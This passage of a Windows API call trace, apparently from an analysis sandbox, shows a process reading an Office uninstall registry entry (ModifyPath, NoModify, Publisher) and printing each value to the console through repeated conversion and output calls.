[0147.797] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.797] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.797] GetProcessHeap () returned 0x2e0000 [0147.797] GetProcessHeap () returned 0x2e0000 [0147.797] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.797] GetProcessHeap () returned 0x2e0000 [0147.797] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.797] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.797] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.797] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.797] GetProcessHeap () returned 0x2e0000 [0147.797] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.797] GetProcessHeap () returned 0x2e0000 [0147.797] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.797] GetProcessHeap () returned 0x2e0000 [0147.797] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.797] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.797] __iob_func () returned 0x7fefd702a80 [0147.797] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.797] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.798] _fileno (_File=0x7fefd702ab0) returned 1 [0147.798] _errno () returned 0xc4bb0 [0147.798] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.798] _errno () returned 0xc4bb0 [0147.798] GetFileType (hFile=0x50) returned 0x1 [0147.798] lstrlenW (lpString=" ") returned 4 [0147.798] GetConsoleOutputCP () returned 0x1b5 [0147.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.798] GetConsoleOutputCP () returned 0x1b5 [0147.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.798] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.798] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.798] lstrlenW (lpString="ModifyPath") returned 10 [0147.798] __iob_func () returned 0x7fefd702a80 [0147.798] _fileno (_File=0x7fefd702ab0) returned 1 [0147.798] _errno () returned 0xc4bb0 [0147.798] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.798] _errno () returned 0xc4bb0 [0147.798] GetFileType (hFile=0x50) returned 0x1 [0147.798] lstrlenW (lpString="ModifyPath") returned 10 [0147.798] GetConsoleOutputCP () returned 0x1b5 [0147.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.798] GetConsoleOutputCP () returned 0x1b5 [0147.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0147.799] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.799] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.799] __iob_func () returned 0x7fefd702a80 [0147.799] _fileno (_File=0x7fefd702ab0) returned 1 [0147.799] _errno () returned 0xc4bb0 [0147.799] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.799] _errno () returned 0xc4bb0 [0147.799] GetFileType (hFile=0x50) returned 0x1 [0147.799] lstrlenW (lpString=" ") returned 4 [0147.799] GetConsoleOutputCP () returned 0x1b5 [0147.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.799] GetConsoleOutputCP () returned 0x1b5 [0147.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.799] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.799] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.799] __iob_func () returned 0x7fefd702a80 [0147.799] _fileno (_File=0x7fefd702ab0) returned 1 [0147.799] _errno () returned 0xc4bb0 [0147.799] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.799] _errno () returned 0xc4bb0 [0147.799] GetFileType (hFile=0x50) returned 0x1 [0147.799] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.799] GetConsoleOutputCP () returned 0x1b5 [0147.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.800] GetConsoleOutputCP () returned 0x1b5 [0147.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.800] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.800] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.800] __iob_func () returned 0x7fefd702a80 [0147.800] _fileno (_File=0x7fefd702ab0) returned 1 [0147.800] _errno () returned 0xc4bb0 [0147.800] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.800] _errno () returned 0xc4bb0 [0147.800] GetFileType (hFile=0x50) returned 0x1 [0147.800] lstrlenW (lpString=" ") returned 4 [0147.800] GetConsoleOutputCP () returned 0x1b5 [0147.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.800] GetConsoleOutputCP () returned 0x1b5 [0147.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.800] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.800] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.800] __iob_func () returned 0x7fefd702a80 [0147.801] _fileno (_File=0x7fefd702ab0) returned 1 [0147.801] _errno () returned 0xc4bb0 [0147.801] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.801] _errno () returned 0xc4bb0 [0147.801] GetFileType (hFile=0x50) returned 0x1 [0147.801] lstrlenW (lpString="MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}") returned 52 [0147.801] GetConsoleOutputCP () returned 0x1b5 [0147.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.801] GetConsoleOutputCP () returned 0x1b5 [0147.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{90160000-008C-0409-1000-0000000FF1CE}", lpUsedDefaultChar=0x0) returned 52 [0147.801] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.801] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.801] __iob_func () returned 0x7fefd702a80 [0147.801] _fileno (_File=0x7fefd702ab0) returned 1 [0147.801] _errno () returned 0xc4bb0 [0147.801] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.801] _errno () returned 0xc4bb0 [0147.801] GetFileType (hFile=0x50) returned 0x1 [0147.801] lstrlenW (lpString="\n") returned 1 [0147.801] GetConsoleOutputCP () returned 0x1b5 [0147.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.801] GetConsoleOutputCP () returned 0x1b5 [0147.802] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.802] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.802] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.802] GetProcessHeap () returned 0x2e0000 [0147.802] GetProcessHeap () returned 0x2e0000 [0147.802] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.802] GetProcessHeap () returned 0x2e0000 [0147.802] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.802] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.802] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.802] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.802] GetProcessHeap () returned 0x2e0000 [0147.802] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.802] GetProcessHeap () returned 0x2e0000 [0147.802] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.802] GetProcessHeap () returned 0x2e0000 [0147.802] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.802] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.802] __iob_func () returned 0x7fefd702a80 [0147.802] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.802] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.802] _fileno (_File=0x7fefd702ab0) returned 1 [0147.802] _errno () returned 0xc4bb0 [0147.802] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.802] _errno () returned 0xc4bb0 [0147.802] GetFileType (hFile=0x50) returned 0x1 [0147.802] lstrlenW (lpString=" ") returned 4 [0147.802] GetConsoleOutputCP () returned 0x1b5 [0147.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.803] GetConsoleOutputCP () returned 0x1b5 [0147.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.803] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.803] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.803] lstrlenW (lpString="NoModify") returned 8 [0147.803] __iob_func () returned 0x7fefd702a80 [0147.803] _fileno (_File=0x7fefd702ab0) returned 1 [0147.803] _errno () returned 0xc4bb0 [0147.803] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.803] _errno () returned 0xc4bb0 [0147.803] GetFileType (hFile=0x50) returned 0x1 [0147.803] lstrlenW (lpString="NoModify") returned 8 [0147.803] GetConsoleOutputCP () returned 0x1b5 [0147.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.803] GetConsoleOutputCP () returned 0x1b5 [0147.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0147.803] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.803] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.803] __iob_func () returned 0x7fefd702a80 [0147.804] _fileno (_File=0x7fefd702ab0) returned 1 [0147.804] _errno () returned 0xc4bb0 [0147.804] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.804] _errno () returned 0xc4bb0 [0147.804] GetFileType (hFile=0x50) returned 0x1 [0147.804] lstrlenW (lpString=" ") returned 4 [0147.804] GetConsoleOutputCP () returned 0x1b5 [0147.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.804] GetConsoleOutputCP () returned 0x1b5 [0147.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.804] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.804] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.804] __iob_func () returned 0x7fefd702a80 [0147.804] _fileno (_File=0x7fefd702ab0) returned 1 [0147.804] _errno () returned 0xc4bb0 [0147.804] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.804] _errno () returned 0xc4bb0 [0147.804] GetFileType (hFile=0x50) returned 0x1 [0147.804] lstrlenW (lpString="REG_DWORD") returned 9 [0147.804] GetConsoleOutputCP () returned 0x1b5 [0147.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.804] GetConsoleOutputCP () returned 0x1b5 [0147.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.805] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.805] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.805] __iob_func () returned 0x7fefd702a80 [0147.805] _fileno (_File=0x7fefd702ab0) returned 1 [0147.805] _errno () returned 0xc4bb0 [0147.805] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.805] _errno () returned 0xc4bb0 [0147.805] GetFileType (hFile=0x50) returned 0x1 [0147.805] lstrlenW (lpString=" ") returned 4 [0147.805] GetConsoleOutputCP () returned 0x1b5 [0147.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.805] GetConsoleOutputCP () returned 0x1b5 [0147.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.805] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.805] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.805] __iob_func () returned 0x7fefd702a80 [0147.805] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.805] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.805] _fileno (_File=0x7fefd702ab0) returned 1 [0147.805] _errno () returned 0xc4bb0 [0147.805] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.805] _errno () returned 0xc4bb0 [0147.805] GetFileType (hFile=0x50) returned 0x1 [0147.805] lstrlenW (lpString="0x1") returned 3 [0147.806] GetConsoleOutputCP () returned 0x1b5 [0147.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.806] GetConsoleOutputCP () returned 0x1b5 [0147.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.806] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.806] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.806] __iob_func () returned 0x7fefd702a80 [0147.806] _fileno (_File=0x7fefd702ab0) returned 1 [0147.806] _errno () returned 0xc4bb0 [0147.806] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.806] _errno () returned 0xc4bb0 [0147.806] GetFileType (hFile=0x50) returned 0x1 [0147.806] lstrlenW (lpString="\n") returned 1 [0147.806] GetConsoleOutputCP () returned 0x1b5 [0147.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.806] GetConsoleOutputCP () returned 0x1b5 [0147.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.806] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.806] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.807] GetProcessHeap () returned 0x2e0000 [0147.807] GetProcessHeap () returned 0x2e0000 [0147.807] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.807] GetProcessHeap () returned 0x2e0000 [0147.807] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.807] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.807] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.807] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0147.807] GetProcessHeap () returned 0x2e0000 [0147.807] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0147.807] GetProcessHeap () returned 0x2e0000 [0147.807] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.807] GetProcessHeap () returned 0x2e0000 [0147.807] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.807] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0147.807] __iob_func () returned 0x7fefd702a80 [0147.807] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.807] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.807] _fileno (_File=0x7fefd702ab0) returned 1 [0147.807] _errno () returned 0xc4bb0 [0147.807] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.807] _errno () returned 0xc4bb0 [0147.807] GetFileType (hFile=0x50) returned 0x1 [0147.807] lstrlenW (lpString=" ") returned 4 [0147.807] GetConsoleOutputCP () returned 0x1b5 [0147.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.807] GetConsoleOutputCP () returned 0x1b5 [0147.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.808] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.808] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.808] lstrlenW (lpString="Publisher") returned 9 [0147.808] __iob_func () returned 0x7fefd702a80 [0147.808] _fileno (_File=0x7fefd702ab0) returned 1 [0147.808] _errno () returned 0xc4bb0 [0147.808] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.808] _errno () returned 0xc4bb0 [0147.808] GetFileType (hFile=0x50) returned 0x1 [0147.808] lstrlenW (lpString="Publisher") returned 9 [0147.808] GetConsoleOutputCP () returned 0x1b5 [0147.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.808] GetConsoleOutputCP () returned 0x1b5 [0147.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0147.808] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.808] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.808] __iob_func () returned 0x7fefd702a80 [0147.808] _fileno (_File=0x7fefd702ab0) returned 1 [0147.808] _errno () returned 0xc4bb0 [0147.808] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.808] _errno () returned 0xc4bb0 [0147.808] GetFileType (hFile=0x50) returned 0x1 [0147.808] lstrlenW (lpString=" ") returned 4 [0147.808] GetConsoleOutputCP () returned 0x1b5 [0147.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.809] GetConsoleOutputCP () returned 0x1b5 [0147.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.809] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.809] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.809] __iob_func () returned 0x7fefd702a80 [0147.809] _fileno (_File=0x7fefd702ab0) returned 1 [0147.809] _errno () returned 0xc4bb0 [0147.809] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.809] _errno () returned 0xc4bb0 [0147.809] GetFileType (hFile=0x50) 